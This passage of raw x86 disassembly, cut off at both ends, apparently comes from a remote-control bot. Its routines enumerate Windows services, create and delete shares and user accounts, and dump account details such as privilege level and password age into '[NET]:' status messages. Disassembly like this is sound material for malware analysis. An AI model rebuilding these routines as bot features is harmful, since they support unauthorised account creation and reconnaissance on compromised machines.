lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_407626 ; default
; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_407667[ecx]
jmp ds:off_40763F[ecx*4] ; switch jump
loc_4075D4: ; DATA XREF: .text:off_40763Fo
push offset aTheSpecifiedDa ; jumptable 004075CD case 7
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075DB: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheServiceDepe ; jumptable 004075CD case 17
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075E2: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheServiceDe_0 ; jumptable 004075CD case 10
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075E9: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheServiceHasB ; jumptable 004075CD case 0
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075F0: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheSpecified_0 ; jumptable 004075CD case 2
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075F7: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheServiceCoul ; jumptable 004075CD case 11
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_4075FE: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheServiceHa_0 ; jumptable 004075CD case 14
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_407605: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheRequested_1 ; jumptable 004075CD case 3
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_40760C: ; CODE XREF: sub_4074FB+D2j
; DATA XREF: .text:off_40763Fo
push offset aTheServiceHasN ; jumptable 004075CD case 4
jmp short loc_407618
; ---------------------------------------------------------------------------
loc_407613: ; CODE XREF: sub_4074FB+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_407618: ; CODE XREF: sub_4074FB+41j
; sub_4074FB+4Bj ...
push offset byte_42EEE4 ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_407639
; ---------------------------------------------------------------------------
loc_407626: ; CODE XREF: sub_4074FB+36j
; sub_4074FB+89j ...
push eax ; default
; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset byte_42EEE4 ; Dest
call _sprintf
add esp, 0Ch
loc_407639: ; CODE XREF: sub_4074FB+129j
mov eax, offset byte_42EEE4
retn
sub_4074FB endp
; ---------------------------------------------------------------------------
off_40763F dd offset loc_4075E9 ; DATA XREF: sub_4074FB+D2r
dd offset loc_4075F0 ; jump table for switch statement
dd offset loc_407605
dd offset loc_40760C
dd offset loc_4075D4
dd offset loc_4075E2
dd offset loc_4075F7
dd offset loc_4075FE
dd offset loc_4075DB
dd offset loc_407626
byte_407667 db 0, 9, 1, 2 ; DATA XREF: sub_4074FB+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407679(int,char *Str,int)
sub_407679 proc near ; CODE XREF: sub_409557+191Ep
var_38C = dword ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_42EBA8 ; OpenSCManagerA
push ebx ; int
mov [ebp+var_C], eax
push [ebp+arg_8] ; int
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
loc_4076B1: ; CODE XREF: sub_407679+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_42EB78 ; EnumServicesStatusA
test eax, eax
jnz short loc_4076EB
call ds:dword_41B060 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_40779F
loc_4076EB: ; CODE XREF: sub_407679+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_407796
lea esi, [ebp+var_188]
loc_4076FC: ; CODE XREF: sub_407679+117j
mov eax, [esi+8]
dec eax
jz short loc_407745
dec eax
jz short loc_40773E
dec eax
jz short loc_407737
dec eax
jz short loc_407730
dec eax
jz short loc_407729
dec eax
jz short loc_407722
dec eax
jz short loc_40771B
push offset aUnknown_0 ; " Unknown"
jmp short loc_40774A
; ---------------------------------------------------------------------------
loc_40771B: ; CODE XREF: sub_407679+99j
push offset aPaused ; " Paused"
jmp short loc_40774A
; ---------------------------------------------------------------------------
loc_407722: ; CODE XREF: sub_407679+96j
push offset aPausing ; " Pausing"
jmp short loc_40774A
; ---------------------------------------------------------------------------
loc_407729: ; CODE XREF: sub_407679+93j
push offset aContinuing ; " Continuing"
jmp short loc_40774A
; ---------------------------------------------------------------------------
loc_407730: ; CODE XREF: sub_407679+90j
push offset aRunning ; " Running"
jmp short loc_40774A
; ---------------------------------------------------------------------------
loc_407737: ; CODE XREF: sub_407679+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40774A
; ---------------------------------------------------------------------------
loc_40773E: ; CODE XREF: sub_407679+8Aj
push offset aStarting ; " Starting"
jmp short loc_40774A
; ---------------------------------------------------------------------------
loc_407745: ; CODE XREF: sub_407679+87j
push offset aStopped ; " Stopped"
loc_40774A: ; CODE XREF: sub_407679+A0j
; sub_407679+A7j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dest]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_0 ; "%s: %s (%s)"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+var_38C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4076FC
loc_407796: ; CODE XREF: sub_407679+77j
cmp [ebp+var_8], ebx
jnz loc_4076B1
loc_40779F: ; CODE XREF: sub_407679+6Cj
push [ebp+var_C]
call dword_42EAC8 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_407679 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4077B6(int,char *Str,int)
sub_4077B6 proc near ; CODE XREF: sub_409557:loc_40AF2Cp
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Str]
test edi, edi
jz loc_40784F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_4077DF
dec eax
jnz short loc_40782F
push edi
push 0
call sub_407921
pop ecx
pop ecx
jmp short loc_40782B
; ---------------------------------------------------------------------------
loc_4077DF: ; CODE XREF: sub_4077B6+18j
cmp [ebp+arg_8], 0
jnz short loc_40781D
push 24h ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_40781D
push 57h
pop eax
loc_4077F6: ; CODE XREF: sub_4077B6+77j
push eax
call sub_4080F9
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_42F1A0
push off_4210E0[eax*4]
push offset aNetSErrorWithS ; "[NET]: %s: Error with share: '%s'. %s"
push esi ; Dest
call _sprintf
add esp, 18h
jmp short loc_40786F
; ---------------------------------------------------------------------------
loc_40781D: ; CODE XREF: sub_4077B6+2Dj
; sub_4077B6+3Bj
push [ebp+arg_8] ; int
push edi ; Str
push 0 ; int
call sub_407875
add esp, 0Ch
loc_40782B: ; CODE XREF: sub_4077B6+27j
test eax, eax
jnz short loc_4077F6
loc_40782F: ; CODE XREF: sub_4077B6+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_42F1A0
push off_4210E4[eax*4]
push offset aNetSShareS_ ; "[NET]: %s share: '%s'."
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_40786F
; ---------------------------------------------------------------------------
loc_40784F: ; CODE XREF: sub_4077B6+Aj
mov eax, [ebp+arg_0]
mov esi, offset byte_42F1A0
lea eax, [eax+eax*2]
push off_4210E0[eax*4]
push offset aNetSNoShareSpe ; "[NET]: %s: No share specified."
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_40786F: ; CODE XREF: sub_4077B6+65j
; sub_4077B6+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_4077B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407875(int,char *Str,int)
sub_407875 proc near ; CODE XREF: sub_4077B6+6Dp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4078E0
push [ebp+Str]
mov edi, eax
call sub_4078E0
push 24h ; Val
mov [ebp+var_20], eax
push [ebp+Str] ; Str
call _strchr
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4078E0
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_42EAC4
pop edi
leave
retn
sub_407875 endp
; =============== S U B R O U T I N E =======================================
sub_4078E0 proc near ; CODE XREF: sub_407875+Ap
; sub_407875+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4078ED
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4078ED: ; CODE XREF: sub_4078E0+9j
push ebx
push esi
mov esi, ds:dword_41B044
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4078E0 endp
; =============== S U B R O U T I N E =======================================
sub_407921 proc near ; CODE XREF: sub_4077B6+20p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4078E0
push [esp+8+arg_4]
mov esi, eax
call sub_4078E0
pop ecx
pop ecx
push 0
push eax
push esi
call dword_42EAA0
pop esi
retn
sub_407921 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407944(int,char *Str,int,int)
sub_407944 proc near ; CODE XREF: sub_409557+1A01p
Dest = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4078E0
xor esi, esi
mov [ebp+var_C], eax
push esi ; int
mov [ebp+arg_C], esi
push [ebp+arg_8] ; int
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 18h
loc_40797D: ; CODE XREF: sub_407944+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_42EB10
mov ebx, eax
cmp ebx, esi
jz short loc_4079E0
cmp ebx, 0EAh
jz short loc_4079E0
push ebx
push ebx
call sub_4080F9
pop ecx
push eax
lea eax, [ebp+Dest]
push offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 24h
jmp short loc_407A4D
; ---------------------------------------------------------------------------
loc_4079E0: ; CODE XREF: sub_407944+5Dj
; sub_407944+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_407A44
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4079EE: ; CODE XREF: sub_407944+FCj
push dword ptr [esi+10h]
call dword_42EAB8 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_407A05
mov eax, offset aNo ; "No"
loc_407A05: ; CODE XREF: sub_407944+BAj
push eax
lea eax, [ebp+Dest]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4079EE
xor esi, esi
loc_407A44: ; CODE XREF: sub_407944+A2j
push [ebp+var_4]
call dword_42EC40
loc_407A4D: ; CODE XREF: sub_407944+9Aj
cmp ebx, 0EAh
jz loc_40797D
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_407944 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407A65(int,int,int,int,char *Str,int)
sub_407A65 proc near ; CODE XREF: sub_409557:loc_40AFCEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Str = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_407B09
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_407AA7
dec eax
jz short loc_407A9C
dec eax
jnz short loc_407AC2
push [ebp+arg_14] ; int
push [ebp+Str] ; Str
push [ebp+arg_C] ; int
push ebx ; int
push edi ; int
call sub_407BAB
add esp, 14h
jmp short loc_407ABE
; ---------------------------------------------------------------------------
loc_407A9C: ; CODE XREF: sub_407A65+1Dj
push ebx
push edi
call sub_407B8A
pop ecx
pop ecx
jmp short loc_407ABE
; ---------------------------------------------------------------------------
loc_407AA7: ; CODE XREF: sub_407A65+1Aj
cmp [ebp+arg_8], edi
jz short loc_407ABB
push [ebp+arg_8]
push ebx
push edi
call sub_407B30
add esp, 0Ch
jmp short loc_407ABE
; ---------------------------------------------------------------------------
loc_407ABB: ; CODE XREF: sub_407A65+45j
push 57h
pop eax
loc_407ABE: ; CODE XREF: sub_407A65+35j
; sub_407A65+40j ...
cmp eax, edi
jnz short loc_407AE2
loc_407AC2: ; CODE XREF: sub_407A65+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_42F3A4
push off_4210E4[eax*4]
push offset aNetSUsernameS_ ; "[NET]: %s username: '%s'."
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_407B29
; ---------------------------------------------------------------------------
loc_407AE2: ; CODE XREF: sub_407A65+5Bj
push eax
call sub_4080F9
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_42F3A4
push off_4210E0[eax*4]
push offset aNetSErrorWithU ; "[NET]: %s: Error with username: '%s'. %"...
push esi ; Dest
call _sprintf
add esp, 18h
jmp short loc_407B29
; ---------------------------------------------------------------------------
loc_407B09: ; CODE XREF: sub_407A65+Dj
mov eax, [ebp+arg_0]
mov esi, offset byte_42F3A4
lea eax, [eax+eax*2]
push off_4210E0[eax*4]
push offset aNetSNoUsername ; "[NET]: %s: No username specified."
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_407B29: ; CODE XREF: sub_407A65+7Bj
; sub_407A65+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407A65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407B30 proc near ; CODE XREF: sub_407A65+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4078E0
push [ebp+arg_4]
mov edi, eax
call sub_4078E0
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4078E0
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_42EAA8
pop edi
leave
retn
sub_407B30 endp
; =============== S U B R O U T I N E =======================================
sub_407B8A proc near ; CODE XREF: sub_407A65+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4078E0
push [esp+8+arg_4]
mov esi, eax
call sub_4078E0
pop ecx
pop ecx
push eax
push esi
call dword_42EA9C
pop esi
retn
sub_407B8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407BAB(int,int,int,char *Str,int)
sub_407BAB proc near ; CODE XREF: sub_407A65+2Dp
Dest = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4078E0
push [ebp+arg_4]
mov esi, eax
call sub_4078E0
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_42EC08
test eax, eax
mov [ebp+arg_0], eax
jnz loc_407F38
mov eax, [ebp+var_4]
test eax, eax
jz loc_407F73
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+Dest]
push offset aAccountS ; "Account: %S"
push eax ; Dest
call _sprintf
mov esi, [ebp+arg_10]
mov edi, [ebp+Str]
mov ebx, [ebp+arg_8]
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+Dest]
push offset aFullNameS ; "Full Name: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+Dest]
push offset aUserCommentS ; "User Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+Dest]
push offset aCommentS ; "Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_407CC4
dec eax
jz short loc_407CBD
dec eax
jz short loc_407CB6
mov eax, offset aUnknown ; "Unknown"
jmp short loc_407CC9
; ---------------------------------------------------------------------------
loc_407CB6: ; CODE XREF: sub_407BAB+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_407CC9
; ---------------------------------------------------------------------------
loc_407CBD: ; CODE XREF: sub_407BAB+FFj
mov eax, offset aUser_0 ; "User"
jmp short loc_407CC9
; ---------------------------------------------------------------------------
loc_407CC4: ; CODE XREF: sub_407BAB+FCj
mov eax, offset aGuest ; "Guest"
loc_407CC9: ; CODE XREF: sub_407BAB+109j
; sub_407BAB+110j ...
push eax
lea eax, [ebp+Dest]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+Dest]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+Dest]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+Dest]
push offset aParametersS ; "Parameters: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+Dest]
push offset aPasswordAgeD ; "Password Age: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+Dest]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+Dest]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+Dest]
push offset aLastLogonD ; "Last Logon: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+Dest]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+Dest]
push offset aLogonServerS ; "Logon Server: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+Dest]
push offset aWorkstationsS ; "Workstations: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+Dest]
push offset aCountryCodeD ; "Country Code: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+Dest]
push offset aUserSLanguageD ; "User's Language: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+Dest]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+Dest]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_405E64
add esp, 20h
pop edi
pop ebx
jmp short loc_407F64
; ---------------------------------------------------------------------------
loc_407F38: ; CODE XREF: sub_407BAB+35j
push eax
lea eax, [ebp+Dest]
push offset aNetUserInfoErr ; "[NET]: User info error: <%ld>"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_10] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_8] ; int
call sub_405E64
add esp, 20h
loc_407F64: ; CODE XREF: sub_407BAB+38Bj
cmp [ebp+var_4], 0
jz short loc_407F73
push [ebp+var_4]
call dword_42EC40
loc_407F73: ; CODE XREF: sub_407BAB+40j
; sub_407BAB+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_407BAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_407F79(int,char *Str,int,int)
sub_407F79 proc near ; CODE XREF: sub_409557+1AA3p
Dest = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4078E0
push esi ; int
mov [ebp+var_14], eax
push [ebp+arg_8] ; int
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 18h
loc_407FB8: ; CODE XREF: sub_407F79+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_42EB28
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_408019
cmp eax, 0EAh
jz short loc_408019
push eax
push eax
call sub_4080F9
pop ecx
push eax
lea eax, [ebp+Dest]
push offset aNetUserListErr ; "[NET]: User list error: %s <%ld>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 24h
jmp short loc_408094
; ---------------------------------------------------------------------------
loc_408019: ; CODE XREF: sub_407F79+62j
; sub_407F79+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_4080A7
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_408094
loc_40802B: ; CODE XREF: sub_407F79+EDj
cmp edi, esi
jz short loc_40806A
push dword ptr [edi]
lea eax, [ebp+Dest]
push offset aS_4 ; " %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40802B
jmp short loc_408094
; ---------------------------------------------------------------------------
loc_40806A: ; CODE XREF: sub_407F79+B4j
lea eax, [ebp+Dest]
push offset aNetAnAccessVio ; "[NET]: An access violation has occured."...
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 1Ch
loc_408094: ; CODE XREF: sub_407F79+9Ej
; sub_407F79+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4080A7
push edi
call dword_42EC40
xor edi, edi
mov [ebp+var_4], edi
loc_4080A7: ; CODE XREF: sub_407F79+A5j
; sub_407F79+120j
cmp [ebp+var_C], 0EAh
jz loc_407FB8
cmp edi, esi
jz short loc_4080BF
push edi
call dword_42EC40
